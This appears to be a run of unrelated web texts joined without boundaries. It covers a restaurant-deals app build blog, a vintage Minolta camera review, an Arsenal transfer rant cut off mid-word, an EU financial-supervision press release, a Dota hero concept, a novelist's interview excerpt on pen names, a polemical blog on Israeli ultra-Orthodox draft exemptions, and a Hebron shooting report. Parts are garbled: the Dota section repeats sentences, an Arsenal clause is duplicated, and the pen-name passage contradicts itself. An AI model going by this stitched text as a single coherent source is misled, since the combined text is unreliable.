In this case, however, he “transformed truth” into its opposite. Isn’t there some Christian commandment against that?
=-=-=-=-=-=-=-=-=-=
May 4. Mr. Newcombe responded by e-mail:
I’m very concerned about telling the truth. I read the article against me, and I don’t see what substantive comment I made that is untruthful. Hospitals, education for the masses, universities — they’re all a creation of the Christian church. The civil rights movement was born in the bosom of the church.
(Image via Twitter)About Dealmap
Dealmap is an app we built at Quantum Mob. Use it to find real-time food and drink deals at your local restaurants and pubs. Find out when it's half price wing day down the street, or if your local pub has IPAs for $4.
We didn't initially set out to do this. We were happy to push our consulting business forward. But after putting in a good work session, we'd keep asking each other where should we go? What day was it that had half-priced chicken wings? Where was that beer deal we liked?
Problem
All of the restaurants and pubs around our office had daily deals. The problem was these places weren't keeping their deals posted anywhere besides their menu insert or their sandwich board. Their websites weren't updated and most didn't post their deals anywhere else.
We found ourselves keeping a list of deals on Google Keep only for it to quickly get out of hand.
We wanted to create an app that you pull up when you want to make a decision where to go to have some cheap food and drinks with friends or colleagues.
Prototype
When we started building Dealmap, we were trying to solve a need. Over drinks, that need became an idea, then proof of concept, and finally an iOS & Android app.
Over a few weekends, we initially built a prototype web version of Dealmap using React, Redux, GraphQL, Node, and Mongo. We leveraged Mongo for its out of the box Geospatial functionality and GraphQL for its flexibility and support for custom requests.
We found ourselves using it at every opportunity.
Check out our v1:
Iteration
An immediate problem we ran into was the feel of using the web app on our phones. The mobile experience wasn't as optimized as we would like. Take a look at the screenshot above and imagine trying to browse for deals. We knew we needed an iOS and Android app as a next step.
Final Solution
The Stack
Mobile
API
Server & Build
Analytics
React Native & Co.
We used React Native with Redux to build the beta version of the app. Some of our engineers had native mobile experience, but we wanted to allow anyone to jump on to support the codebase if they wanted. After all, this was a side project and whoever had time on weekends and evenings could knock off our backlog of tasks.
Also, it didn't hurt that React Native has a large and growing community of support with online giants like Facebook and Airbnb leading the pack.
Initially, we used Redux in React Native for everything to communicate with our existing GraphQL server.
Trying to optimize for performance, we leveraged Realm on our app, which allowed us to take advantage of domain objects that could have computed values such as a summation of properties. The amount of boilerplate code required for Realm is much less than Redux. Now all data is stored and processed in Realm and continued to use Redux for all state management. If you want to read a little more about Realm vs. Redux, check out our recent article on it.
We moved away from Sagas to Thunks to simplify the calls. We also improved overall performance through caching and optimized rendering of our list and map.
Build Automation
Every good development pipeline has some automation. We set up our continuous integration pipeline using Jenkins, Hockeyapp, and Fastlane. Our trusty Mac Mini server builds our iOS app and tirelessly deploys it, saving us a lot of time.
Hockeyapp was very useful during our early build stage. It allowed us to release a new version and test across all our devices immediately.
We eventually moved to Testflight and Google Play beta through Fastlane for testing when we were ready to move to production.
After getting rejected during on iteration for re-using Android screenshots on the App Store, we decided to automate the submission process for appending new screenshots for every App Store and Google Play Store submission.
Debugging and logging
To track actions and see results of our A/B testing, we use Google Analytics and Mixpanel.
We logged all errors through Sentry, which is sent to our Slack channel for our engineers to debug. Getting instant feedback when an end user has an exception helps tremendously. With Sentry logging, you can identify exactly where in the app an error was originating from. It returns the line of code and class where an exception occurred, along with anonymous device information to assist in replicating the bug on your side.
Response
The reception was ecstatic. Every person we explained the app to wanted to give it a shot. I've had many hobby projects, but none have ever been so easy to explain. Users wanted to contribute new deals and were emailing us to add their local restaurants with a breakdown of their deals.
We eventually added a camera feature for users to upload a picture of an establishment's deal list to submit new deals.
Due to the positive response, we decided to launch a marketing campaign that had a similar, casual tone as the copy on our website:
Based on slang and emojis.
Conclusion
Dealmap is en route to capture the downtown market for Toronto.
Our next few releases will focus on allowing businesses to manage their own deals, promote special events/one-day deals, allowing user customization, and increasing user engagement.
Dealmap will live on as a Quantum Mob project, supported by our creative, engineering, and marketing teams.
Download Dealmap today and start saving at your favourite pubs and restaurants!
iOS - AppStore
Android - Play Store
If you have other questions about our tech stack or any challenges we faced, we'll do our best to answer below. Thanks for reading!In this article, I will be reviewing the 1979 Hi-Matic AF released in 1979. It is an automatic 35mm film camera with an Auto Focus capability. The Minolta Hi-Matic series was first introduced in 1962 and was updated several times over the course of its life.
This review is solely based on my experience using this camera and not meant to be a replacement for the published user’s manual! Here’s what’s covered in this article:
Getting to know the Minolta Hi-Matic AF
The camera comes with a fixed 38mm f/2.8 Minolta Rokkor lens. There is no setting to adjust the aperture; and both the aperture and shutter speed are set automatically. All you need to do is compose your subject in the viewfinder, and when you half press the shutter button the camera will calculate the correct exposure for you or tell you if you need to use the built-in flash.
There is a focus lock function but I’ll discuss that a bit later.
Film speed is set by way of a dial/ring on the lens, which ranges from ISO 25-400. Set in the bottom of the outer ring of the lens is the camera’s Cadmium Sulphide/CdS meter.
The camera is operated by two AA batteries; a standard size that you can find at a grocery or convenience store. The camera will not operate if there are no batteries or the batteries are too weak.
The easiest way to check if you still enough battery power is by popping up the flash and look in the viewfinder. If the flash-ready signal takes more than 30 seconds to start blinking, it’s a good indication that you need to replace the batteries.
Loading the film is quite easy if you are familiar with 35 mm film cameras. You open the back door, pull out the film rewind knob, and insert the film in to the left compartment.
Insert the film leader into one of the slots in the take-up spool on the right hand side. Make sure that you engage the film sprocket with the ‘teeth’ on both edges of the film. Also, ensure that the film is aligned horizontally. Using the film advance lever, advance the film to check that the take-up spool does indeed pull the film from its canister.
Close the back door, and advance the film (you may need to press the shutter release a couple of times) until you see no.1 on the film counter on the top of the camera next to the film advance lever.
An orange signal should be displayed in the Safe Load window (upper right above the film door hinge). This indicates that the film is properly loaded and you are now ready to take pictures!
Taking pictures with the camera
As mentioned earlier, this is an auto-focus automatic point and shoot camera. Set the film speed using the ISO adjustment ring on the front of the camera. Make sure the number aligns properly. As you look in the viewfinder, you will see different parts, as follows:
The distance symbols
These symbols are the same as the symbols printed on the back of the camera.
The auto focus zone
The square in the center is used to frame the spot in your scene you focus to land on.
The framing guide
Everything that is inside this framing guide will be in the photo.
Distance signal light
When the light appears above a distance scale symbol, it means the focusing is at the distance represented by the symbol. In this example, the lens is focused at 4 ft (1.2 m).
Focus lock switch
Sometimes you want to focus on a certain subject and then recompose without losing the previously set. In this situation, you can use the Focus Lock switch right below the shutter release button. When you activate this switch, focusing cannot be canceled until after you
release the shutter and the picture is taken.
Low-light indicator
If you see the low-light indicator in the viewfinder, it means the camera speed has fallen below 1/45 sec and you will either need to use the built-in flash or a tripod to avoid blurred photos.
All you need to do is press the Flash On button, and wait until the flash-ready light starts to blink. Make sure that your subject is within the distance as indicated on the table printed on the back of the camera.
Note – you can also use the flash to illuminate your subject, for example when the background is very bright.
The camera is also equipped with a self-timer release switch which gives you a delay for about 10 seconds.
There is no exposure compensation on this camera.
Overall impression and Sample Photos
At 350g (without batteries), the camera is very lightweight and easy to operate, making it fun for travel photos. It will not fit in your pants pocket but you can certainly put it in your coat pocket.
Focusing is relatively easy; you need to pay attention to the distance symbols in the viewfinder. I have used this camera for both outdoor and indoor shoots with very good results. Below are some sample photos:
Thanks for reading!
~ Aditya W
Write for EMULSIVE
EMULSIVE is all about knowledge transfer and developing more of it across the film photography community.
Help by contributing your thoughts, work and ideas to inspire others reading these pages: read this quick submission guide.
Lend your support
If you like what you’re reading you can help support EMULSIVE by heading on over to the EMULSIVE Patreon page and adding financial support from as little as $2 a month. As if that’s not enough, there’s also an EMULSIVE print and apparel store over at Society 6, currently showcasing over two dozen t-shirt designs and over a dozen unique photographs available for purchase.What is Arsene Wenger doing? I mean, I am properly worried considering Swansea, Norwich and Southampton have spent more than Arsenal in the transfer window. This certainly poses quite the conundrum if not rectified.
Every Gooner in the land held their breath when the transfer window opened. Arsenal were being linked with a succession of big named signings; Rooney, Higuain, Fellaini, Williams, Jovetic, not to mention the usual links to half the French Ligue 1 players and the infamous buy -back clause Arsenal have in place as first refusal for Cesc Fabregas. Last but certainly not least (skill-wise), Luis Suarez is rumoured to be on Wenger’s invisible radar. These are obviously expensive signings, and most of them would break the club transfer record. But why not though? The club have waved the cash in front of our noses for a while now.
Let’s dissect our so-called options:
Rooney will either stay with United, or Jose Mourinho will take great pleasure in usurping Wenger and taking Rooney to Chelsea.
Napoli have apparently had a 35m Euro bid for Gonzalo Higuain accepted by Real Madrid
had a 35m Euro bid for Gonzalo Higuain accepted by Real Madrid Marrouane Fellaini seems to have just vanished from the transfer radar altogether, which leaves some hope for me that Wenger has somehow read my previous blogs and is secretly buying the best defensive midfielder in the Premiership. So far it’s just wishful thinking on my part.
Ashley Williams has also just vanished from the transfer window, which is most worrying. Can it really be true that Arsenal FC cannot attract a player from Swansea to join us in the Champions League? There was a time almost any player not playing for a top 4 side would want to join The Mighty Arsenal, and a player from a Welsh side would have hopped down the M4 on one leg to play for Arsenal. Its embarrassing. Consider injuries to Laurent Koscielny, Thomas Vermaelen and Nacho Monreal….
Stevan Jovetic, a constant twitter rumour for Gooners to pleasure themselves by all through the close season, has now joined Manchester City. Same old story there. It’s ironic that Man City fans cannot afford Arsenal’s ticket prices, yet City can afford to buy our best players and our transfer targets – an irony I do enjoy at every opportunity. Ha.
Then there is Ce$c, the departing hero who left Arsenal to join his family at home in his native Barcelona only to find out that he does not possess the necessary DNA to fit in with the rest of his Barcelona family and can leave home again if a new foster family can pull up enough money to buy him from Barcelona.
The frightening reality is that wild horses wouldn’t drag Fabregas from the superstars of Barcelona to relive the mediocrity of Arsenal. Barca are just that good, and Arsenal are, well, stuck between an international power and a good team. But if the Dinero was right, he could renew his very potent partnership with Robin Van Persie up at Manchester United, every Gooner’s nightmare, yet a very distinct possibility.
That leaves our list of potential star signings with the highly unlikely prospect of Wenger doubling Arsenal’s transfer record fee to sign the most complex loose cannon since Ballotelli found Guy Fawkes taking a shower in his bathroom. I would be shocked if Real Madrid do not use their Higuain money to sign Suarez, And I am pretty positive Suarez would prefer Madrid to Arsenal, Spain to England, and Ronaldo to Gerv |
direct capital markets supervision by ESMA The Commission is today proposing to make ESMA the direct supervisor over certain sectors of capital markets across the EU: Capital market data: ESMA will authorise and supervise the EU's critical benchmarks and endorse non-EU benchmarks for use in the EU. This will improve the reliability and harmonisation of supervision of benchmarks, which are the indices or indicators used to price financial instruments and financial contracts or to measure the performance of an investment fund.
Capital market entry: In a bid to streamline procedures for companies to tap into EU capital markets and attract investment from across the EU, ESMA will now be in charge of approving certain EU prospectuses and all non-EU prospectuses drawn up under EU rules. Prospectuses are documents that contain the information an investor needs before making a decision whether to invest in a company. Capital market actors: ESMA will authorise and supervise certain investment funds with an EU label with the aim of creating a genuine single market for these funds (European Venture Capital Funds, European Social Entrepreneurship Funds and European Long-Term Investment Funds).
Market abuse cases: ESMA will have a greater role in coordinating market abuse investigations. It will have the right to act where certain orders, transactions or behaviours give rise to well-founded suspicion and have cross-border implications or effects for the integrity of financial markets or financial stability in the EU. Improved governance and funding of the ESAs The ESAs will take decisions more independently from national interests. Under the new governance system, newly-created Executive Boards with permanent members will lead to quicker, more streamlined and EU-oriented decisions. Moreover, interested parties will be able to ask the Commission to intervene if the majority consider that the ESAs have exceeded their competences when issuing guidelines or recommendations. The reform will also make the funding of the ESAs independent from national supervisors. This will guarantee that the ESAs have improved autonomy and independence. While the EU budget will continue to contribute a share of the ESAs' funding, the rest will be funded by contributions from the financial sector. Promoting sustainable finance and FinTech As the EU steps up efforts to complete the Capital Markets Union, supervision has to keep pace with new market developments, notably: The ESAs will promote sustainable finance, while ensuring financial stability. They will take account of environmental, social and governance-related factors and risks in all the tasks they perform.
The ESAs will prioritise FinTech and will coordinate national initiatives to promote innovation and strengthen cybersecurity. They will take account of technological innovation in all the tasks they perform. Background The European System of Financial Supervisions consists of: The three European Supervisory Authorities (ESAs) which supervise and provide regulatory guidance for individual sectors and institutions;
The European Systemic Risk Board (ESRB), which oversees the financial system as a whole and coordinates EU policies for financial stability. The ESAs contribute to developing a unified set of rules for EU financial markets (the 'Single Rulebook'). They also help to foster supervisory convergence among supervisory authorities, and to enhance consumer and investor protection. Strengthening the powers of the ESAs is the first priority measure set out in the June 2017 Mid-term review of the Capital Markets Union Action Plan. As the EU intends to accelerate the completion of the Capital Markets Union, it needs to ensure that supervision keeps pace with further integration. In that perspective, the Five Presidents' Report on Completing Europe's Economic and Monetary Union of June 2015 already highlighted that a single European capital markets supervisor would ultimately be necessary. This was also emphasised in the Commission's Reflection Paper on the Deepening of Economic and Monetary Union, presented in May 2017. This proposal is a first concrete step towards the establishment of a single capital markets supervisor and towards completing the Financial Union (comprising the Banking Union and the Capital Markets Union) by 2019 to guarantee the integrity of the euro. The proposals build on contributions to the Commission's public consultations in autumn 2016 (ESRB) and in spring 2017 (ESAs). They also take into account the March 2014 recommendations of the European Parliament and the review report prepared by the Commission in August 2014. The proposals – the main Regulation and the subsequent changes to a number of sectorial Directives – will now be discussed by the European Parliament and the Council. For More Information: Q&A (MEMO/17/3322) Factsheet DG FISMA website on the European system of financial supervision IP/17/3308 Press contacts: General public inquiries: Europe Direct by phone 00 800 67 89 10 11 or by emailHello, guys and gals, it’s Ancient Apparition’s time in the spotlight!
Hero concepts disclaimer: Hopefully, these hero previews will make you eager to try out IMBA. 😉 But they are being presented so that we can improve on the current ideas (or pick new ones up)! Please comment or contact me by e-mail if you have any critique or suggestion about these hero concepts.
Kaldr, the Ancient Apparition
Cold Feet: Slows move speed by 10% at the initial cast point, plus 1% for every 10 units away from it (i.e. the slow increases as you move away from the spell’s cast point). The target leaves a 180 width icy trail while debuffed; any enemy who touches the trail will also be struck by cold feet. Improves damage per tick by 1 per 3 points of Intelligence.
Slows move speed by 10% at the initial cast point, plus 1% for every 10 units away from it (i.e. the slow increases as you move away from the spell’s cast point). The target leaves a 180 width icy trail while debuffed; any enemy who touches the trail will also be struck by cold feet. Improves damage per tick by 1 per 3 points of Intelligence. Ice Vortex: Slow and magic damage amplification from multiple ice vortexes stack. Each vortex’s radius grows at a rate of 25/50/75/100 units per second, and pulls enemy units to its center with 100/150/200/250 units per second strength. Base AOE increased to 375.
Slow and magic damage amplification from multiple ice vortexes stack. Each vortex’s radius grows at a rate of 25/50/75/100 units per second, and pulls enemy units to its center with 100/150/200/250 units per second strength. Base AOE increased to 375. Chilling Touch: Each attack made under the effect of Chilling Touch ministuns the target for 0.1/0.15/0.2/0.25 seconds, similar to Cold Snap, but with no cooldown between ministuns.
Each attack made under the effect of Chilling Touch ministuns the target for 0.1/0.15/0.2/0.25 seconds, similar to Cold Snap, but with no cooldown between ministuns. Ice Blast: Ice Blast travels twice as fast (3000 units per second), and its damage radius grows 50% faster, capped at 1350. The impact is instant (there is no need to wait for the projectile to reach the “tracer”). Each point of Intelligence adds 1 damage to the initial blast damage.
Ice Blast travels twice as fast (3000 units per second), and its damage radius grows 50% faster, capped at 1350. The impact is instant (there is no need to wait for the projectile to reach the “tracer”). Each point of Intelligence adds 1 damage to the initial blast damage. Aghanim’s scepter upgrade: Increases Ice Blast’s duration to 17 seconds. Ice blast now leaves a trail of Ice Vortexes in its wake.
Increases Ice Blast’s duration to 17 seconds. Ice blast now leaves a trail of Ice Vortexes in its wake. Aghanim’s soul upgrade: Ice blast’s cooldown improved to 25 seconds. Projectile now reaches maximum size instantly (it does not need to travel to grow in size). Chilling touch is now an aura which affects all allied heroes in 1000 AOE of Ancient Apparition (every attack made while in this range benefits from Chilling Touch).
With Ancient Apparition, I tried to tie Cold Feet and Ice Vortex with his “embodiment of the death of the universe” theme. Both are skills who shine stronger when you have time to let them act. If you let Apparition cast 2 or 3 vortexes in the general area where a fight’s going, his team will be at a massive advantage. Chilling touch rounds him up as a very strong early teamfighter, who stays relevant through his ultimate – made only slightly more powerful (it is already pretty strong in regular dota), but much easier to land.
Aghanim’s scepter adds a fun new interaction to increase Ice Blast’s damage, as well as being able to hinder enemies globally. Finally, Aghanim’s soul turns the apparition into a nightmare to fight into, with massive damage and disruptions through his ultimate and ministuns.
What do you think about Ancient Apparitions’s IMBA incarnation? Farewell, Dota warriors! Until next time!
AdvertisementsI did that because back in the early days of my career there was a feeling in the publishing business that one book a year was all the public would accept but I think that a number of writers have disproved that by now. I'm one of them and the guy who writes the Along Came the Spider books is another one who's written two or three books a year. Danielle Steel usually publishes two books a year. So the public will accept more than one book from a writer in the course of a year. The thing is, one book is all most writers want to produce or can produce in the course of a year and some of them only publish a book every two years. Ed McBain is another novelist who publishes multiple books in some years and his original name was Evan Hunter. That's the name he's always published under and he adopted the pen name of Ed McBain for the same reason I adopted Richard Bachman and that was that it made it possible for me to do two books in one year. I just did them under different names and eventually the public got wise to this because you can change your name but you can't really disguise your style. The name Richard Bachman actually came from when they called me and said we're ready to go to press with this novel, what name shall we put on it? And I hadn't really thought about that. Well, I had, but the original name—Gus Pillsbury—had gotten out on the grapevine and I really didn't like it that much anyway, so they said they needed it right away and there was a novel by Richard Stark on my desk so I used the name Richard and that's kind of funny because Richard Stark is in itself a pen name for Donald Westlake and what was playing on the record player was "You Ain't Seen Nothin' Yet" by Bachman Turner Overdrive, so I put the two of them together and came up with Richard Bachman.Everyone knows that the goalscorers and most skilful players will always be the names printed on the back of shirts. But behind every Ronaldo, Hazard or Messi, there’s a Khedira, Matic or Mascherano.
Real football isn’t like the virtual world of FIFA, teams aren’t made out of pacey, skilful, flair players alone. Quite often it’s the grit and determination of a select group of warriors that wins points, just as much as those who pull off the tricks. These warriors don’t look for praise, but their hard work, passion and selfless dedication deserves it.
One look at Burnley’s efforts in recent years paints a picture of how far commitment can carry you. The Clarets have spent a mere ten million in the past two years, yet have won promotion to the Premier League and come close to staying up.
The following list looks to count down the top ten most unsung warriors from the Premier League this season. Most of these players receive very little praise from the media or fans in varying parts of the country, yet they’re absolutely crucial to their side’s success.
Whether it’s thundering into challenges, pressing from the front, or simply showing passion in the way they play, here are the unsung warriors, whose contributions are too frequently overlooked.There is currently a huge battle going on in Israel over whether or not yeshiva {jewish seminary} students should continue to be allowed an exemption to the otherwise mandatory army draft.
About 17 percent of ultra-Orthodox men now serve in the military or perform civilian national service work; 75 percent of other Jewish men serve in the military. - NYT Currently fewer than 10 percent of eligible Haredi men are conscripted into the Israel Defense Forces annually and the number of those doing national service remains tiny. - Ha'aretz
Currently, PM Netanyahu is pushing for a new law that would enlist 30% of the charedim {ultra-orthodox} by 2015, and another 30% for “sheirut le'umi” {non-military service for the state} {Ha'aretz}.
Israelis say that it’s unfair that they should fight and dedicate 3 years of their lives to the state while yeshiva students shirk the responsibility; the ultra-orthodox jews contest that their learning is helping protect the state and that enlisting would force them to compromise their religious values.
“We are part of the Jewish army,” said Aharon Grossman, 30, a Mir Yeshiva student. “Some people serve in tanks. We serve in yeshiva.” -PressHerald More than the IDF, it is Torah study that protects us. In spite of our intractable geopolitical predicament, the state is still afloat — but only because so much Torah is studied here. -Blog - Times of Israel
If you ask me, honestly, I think the ultra-orthodox are very much in the wrong here.
1. “We are citizens of one state, and we must all participate in bearing the burden of service to the state.”- Netanyahu {NYT} Simple as that.
2. While it’s a cute idea that the torah learning is helping to protect everyone, until it’s demonstrated to work, it should be given as much credit as astrology - i.e. none. {See this too.} Seriously, there are people in gun fights and you’re sitting in yeshiva learning about ox goring? No. That’s not fair - or even remotely sensible.
Meanwhile, many charedim resent being considered parasites for their philosophy:
“This (haredi) public that has Hasdei Naomi (charity for indignant children), Yad Sarah [a free service to help the disabled], Hatzolah [a free ambulance service]– consider for a moment whether that kind of public is ‘worthy’ of the title of parasite or perhaps behind it all there are values and principles.” - Ynet
The Hareidi community is angry that its contribution to the Jewish State goes unrecognized. That so many want to draft Yeshiva students, in their eyes, reflects a lack of appreciation in the society as a whole for the value of Torah study, not only for the learner, but for the community. They say the problem is not with them but with the lack of true traditional Torah perspective in the largely secular nation… If you want the nation to support your learning as in the best interest of the State of Israel show that your learning is indeed about caring for the Jewish People as a whole and the survival of the Jewish State. You can’t make a peace for yourself and then expect others to appreciate that what you are doing is for them… - The Torah And The Self
And I can appreciate where they’re coming from and I understand that from their perspective, they’re doing the right thing and probably not trying to be “parasites.” It is a fact that many religious jews do lots of self-less acts of charity. However, aside from only representing a fragment of the charedi population, it more importantly does not dismiss the very serious ways in which the charedi community is not contributing but taking. It’s like having a flat-mate that doesn’t pay rent but helps wash the dishes. Sorry, but that doesn’t cut it. You may have good intentions, but you are, by objective reckoning, taking much more than you’re giving. That’s parasitic behavior, whether you like it or not.
3. There are religious units in the army! I can understand the charedi {ultra-orthodox} concern about their conditions, but there are “kosher” ways to do it. Also, sorry if your ridiculous standards don’t conform to reality. In reality, people sometimes have to do things they don’t want to - especially when people are trying to kill them.
4. There’s also the possibility of “sheirut le'umi” which is working for the state. This has been a common route for charedi women, and while not as fair as army service, at least it’s something! And hell, even the Arabs who live in Israel and often don’t have 100% citizenship do this!
Arabs generally do not serve in the Israeli military, but the number performing national service has increased tenfold in recent years, and some polls have shown that a majority of Israeli Arabs support requiring such service as a way to better integrate into Israel’s work force. - NYT
5. On a related note, I have to agree with some of the points made a blogger who emphasized that Israeli’s would probably be less resentful of the charedi lifestyle if the charedim actually demonstrated any allegiance and empathy for the state.
The Hareidi Yeshiva world may say they are learning Torah as a gift to the defence of the nation, but what they do shows otherwise. This is no Yissachar-Zevulun model. No one experiences a sense of partnership. The bnai yeshiva learn for themselves. If they cared for the Israel as a whole, if they were learning to do their part in the national defence then why no effort to reach out to the larger community? Why no'mishebairach’ [prayers] in the black hat yeshiva for the soldiers in the Israel Defense Forces? This is a case of'show, don’t tell!“. If you want the nation to support your learning as in the best interest of the State of Israel show that your learning is indeed about caring for the Jewish People as a whole and the survival of the Jewish State. You can’t make a peace for yourself and then expect others to appreciate that what you are doing is for them… - The Torah And The Self
Of course, one can find many yeshiva students who are thankful for the IDF and their work {”Honestly, we really do appreciate those who give their lives to protect us and our families, but we also do our part, maybe on an even higher level, with true faith that the Torah protects the land (of Israel).“ - Ynet}. However, being thankful isn’t enough, and, of course, that’s only the tip of the iceberg. You can also find vast communities in Israel who don’t even recognize the state, let alone work to support it! And they often consider any such service as being completely antithetical to their beliefs. That’s pretty fucked up, and if I was an Israeli, I’d be rather pissed.
Ultra-Orthodox men protest against the universal draft initiative. The sign reads, ‘It is better to die than to transgress the prohibition against joining the army, civic service or national service.” (photo credit: Yonatan Sindel/Flash90) - Blog - Times of Israel –
Some children waved signs reading "Save me” – a reference to the possibility that they will be drafted when they turn 18… Edat Haredit is an extremist ultra-Orthodox sect that does not recognize the State of Israel… Speaking from an improvised stage, a [speaker] told the crowd, in Yiddish, “Even if they lock us up and beat us, we will remain Jews who observe the Torah and the mitzvahs.”.. - Ynet
And aside from protesting against what seems to me like an obviously equitable change, there are even some jewish religious leaders that are apparently threatening the state!
Rabbi Baruch Genot, a leading student of the number two haredi leader Rabbi Chaim Kanievsky who is a prominent rabbi in the haredi city of Elad, threatened to instigate a run on Israel’s banking system in response to any government decision to draft haredim into the army, the Times of Israel reported today… “If the entire haredi community withdrew all its money from the banks on a given day, the banks would face a possible collapse,” Genot said… “You want to sanction us for protecting you [i.e., for learning in yeshiva, which haredim believe provides the Land of Israel with spiritual protection from enemy attacks], we can also sanction you,” Genot said… Genot’s remarks were reportedly made to the Orthodox weekly publication Besod Siah. The threats Genot made appear to amount to sedition. - FailedMessiah
Yet they expect exemptions and welfare and respect?
6. I’ve read lots of religious arguments saying that jews always had their established learners and those who would go fight {or work - like the Yissachar-Zevulun model} {e.g. here }- but the difference is that those arrangements were accepted by all. This isn’t. Israeli’s are pissed.
If ever there were a time to change the system, it is now, activists say. A poll generated by Hiddush, an organization that advocates for religious freedom, found that 68 percent of Israeli Jews want to deny subsidies to those who don’t serve in the army, while 82 percent want a law requiring most yeshiva students to enlist.- JewishWeek Police said about 10,000 people took part in the protest [for fair drafting laws], but local media put the number at 20,000. The marchers held up signs that read “Equal service for all” and chanted “One people, one draft”. - Reuters [see photo above]
Of course, some have deluded themselves into thinking that Israelis are totally fine with the current arrangement:
Israel’s haredi Interior Minister Eli Yishai, who is the head of the Sefardi haredi Shas political party, reportedly told Israel Radio today that “most [non-haredi] Israelis don’t think they’re suckers for joining the army [even though haredim adamantly refuse to serve and study in yeshivas instead, often for decades, subsidized by the government]. They understand that those who study in yeshivas work very hard. Studying the torah is a legitimate way of serving the state.“ There is no credible polling or other data to back Yishai’s claim of support by non-haredi Israelis of haredi draft dodging or yeshiva study. - FailedMessiah
Clearly Israelis are pissed that they’re giving their blood, sweat, tears, and time while yeshiva students study torah - often while collecting welfare from the state. {PressHerald}
7. The charedi way of life is just not sustainable. You can’t live in a state that has a mandatory draft and simply exempt yourselves. You can’t opt not to work and simply live off of welfare. And you definitely can’t do either of those while pumping out babies by the handful. It’s simply a model divorced from reality. Aside from being unethical, this charedi lifestyle simply isn’t sustainable and needs to change.
Unemployment believed to hover around 50 percent, coupled with a high birthrate, has fueled deep poverty in the ultra-Orthodox sector. With families of eight to 10 children commonplace, more than a quarter of all Israeli first-graders today are ultra-Orthodox. Experts say if these trends continue, Israel’s long-term economic prospects are in danger. - {PressHerald}
I’ll include in this the closing off of one’s own mind from education. {For instance, at a protest against the changes in draft policies, a speaker ”took advantage of the opportunity to criticize the attempts to obligate haredi educational institutions to teach the core subjects, calling them “devoid of any content.” -Ynet} This willful ignorance is damaging to the individual and society. For instance, in trying to help the charedim and their religious sensitivities, there has been discussion of training them for non-combat positions:
Currently Haredim serve in a variety of forms in the IDF, mostly in units encompassing only ultra-Orthodox men. Some are combat units, but a new option includes the assignment of Haredi men aged 22-24 to technology based roles, mostly in the air force and in military intelligence. - Ha'aretz What the IDF does need are specialists, Cohen said, and the vast majority of haredim “lack the educational qualifications to operate and maintain high-tech machinery, especially when glitches occur. That requires technological literacy.” - JewishWeek
And, of course, if charedim had a better education, there’d be more job opportunities and they’d potentially be less reliant on state welfare - if they are actually willing to work.
8. It seems the charedi community has become spoiled and way too hyperbolic. For one, how did the exemptions begin?
“The draft exemptions date to the time of Israel’s independence in 1948, when founding father David Ben-Gurion exempted 400 exemplary seminary students to help rebuild schools of Jewish learning razed in the Holocaust, when 6 million Jews were murdered.”
That seems fair and I don’t think that’d bother Israelis then or now. But what’s the current situation?
As ultra-Orthodox parties became power brokers, the numbers mounted. Ultra-Orthodox officials now estimate there are about 100,000 full-time Torah learners of draft age - PressHerald
That’s around 200x as many people, and in a very different day and age. The original rationale for the exemptions seems outdated and bloated beyond belief. And then there’s the hyperbole, as you’ve seen quoted earlier, making national service sound like the gulag. For instance, the charedim organized their own protest against the draft changes:
And in a sign of what may lie ahead, thousands of black-clad ultra-Orthodox took to the streets of Jerusalem last week to protest the panel’s work [on changing draft laws]. Some wore sacks in a sign of mourning over the prospect of being forced into service…. - PressHerald
Mourning? Really? I also loved this one:
More than the IDF, it is Torah study that protects us. In spite of our intractable geopolitical predicament, the state is still afloat — but only because so much Torah is studied here. It’s high time that we realized the spiritual value of yeshiva study. Yeshiva students tap into a vein of the most rarefied and sublime of wisdoms: Hashem’s only Law. When we start to value this instead of scorning people who refuse to buy into the prevailing values of superficiality, hedonism and materialism, we’ll stop devising schemes to put the Haredim in green and give them the respect they deserve.
- Blog - Times of Israel
Lady, no-one is asking that charedim “embrace hedonism” {and thanks for that subtle insult}. They’re just being asked to contribute their fair share.
It kinda reminds me of the recent uproar over Germany’s “circumcision ban.” Sorry, but fair and ethical is fair and ethical. No-one is saying that you can’t get a bris or study torah, but only dismember those who can agree to it and study torah on your own free time and on your own dime.
Handcuffed Ultra Orthodox Jewish children participate in protest against attempts to draft members of the cloistered community into the Israeli military, in an ultra Orthodox neighborhood in Jerusalem, Israel, Monday, July 16, 2012. The sign in Hebrew reads: “if you not let us live as Jews we’ll die as Jews but we’ll never surrender to serve military or civilian service”-Source
(Source: jewishatheist)Tharwat Sharawi, a mother of seven, was killed by army fire at a gas station in Hebron. Her son said she had been on her way to her sister’s house for lunch at the time.
HEBRON // Israeli soldiers shot dead a 73-year-old Palestinian woman in the West Bank city of Hebron on Friday, while she was on her way to her sister’s house for lunch, her son said.
Meanwhile, in Gaza, a 23-year-old Palestinian man was shot dead by Israeli security forces in clashes near the border with the Jewish state.
Tharwat Sharawi was killed by army fire at a gas station in Hebron.
The military claimed her car had slowed down and then sped toward the soldiers, who jumped out of the way unharmed before opening fire. But Sharawi’s son Ayoub, 52, denied that his mother intended to harm anyone. He said she had been on her way to her sister’s house for lunch when she was killed.
Sharawi, a mother of seven, was widowed in 1988 when her husband died from what Ayoub said was tear gas fired by Israeli troops near a mosque.
“If she had wanted to take revenge [for her husband’s death], she could have done that a long time ago,” he said. “There is no way she wanted to run over soldiers.”
Palestinian medics, meanwhile, said Sharawi had been driving in pouring rain at the time. They also said she did not intend to attack the soldiers.
Later in the Gaza Strip, Salame Abu Jamaa was shot dead in clashes near the Israeli border, the enclave’s health ministry said.
The Israeli army said he was fired upon after he breached the so-called “buffer zone” – which is on the Palestinian side of the border – as part of a group.
Also in Hebron, the Israeli military alleged that Palestinians fired at Jewish worshippers near a shrine in the city, wounding two people, aged 16 and 18.
In a separate attack, an Israeli man, aged 19, was seriously wounded near to the village of Beit Anon, south of Hebron, after allegedly being fired on by Palestinians, the military said. They said forces were searching the area for the attacker.
Tensions have been running high in Hebron, where hundreds of combat troops guard about 850 Jewish settlers in the downtown area where they live amid tens of thousands of Palestinians.
Elsewhere in the West Bank, an Israeli man standing outside an Israeli-run supermarket was seriously wounded in an alleged Palestinian stabbing attack. The army said troops were searching for the assailant who had fled the scene.
At least 72 Palestinians have been killed in the latest wave of violence to rock the region, while 11 Israelis have been killed.
Meanwhile, near the Israeli settlement of Psagot, close to the West Bank city of Ramallah, youths and soldiers clashed in a residential area during a torrential downpour.
The army fired live ammunition, rubber-coated bullets and tear gas to disperse the crowds.
Security forces also harassed journalists, throwing stun grenades and pointing guns toward them while shouting insults.
A woman who ran to take refuge in her house – one of whose windows had been smashed by what she said was an Israeli tear gas grenade – said she had not slept for days. “My children are living in fear. We hear the bullets flying day and night.”
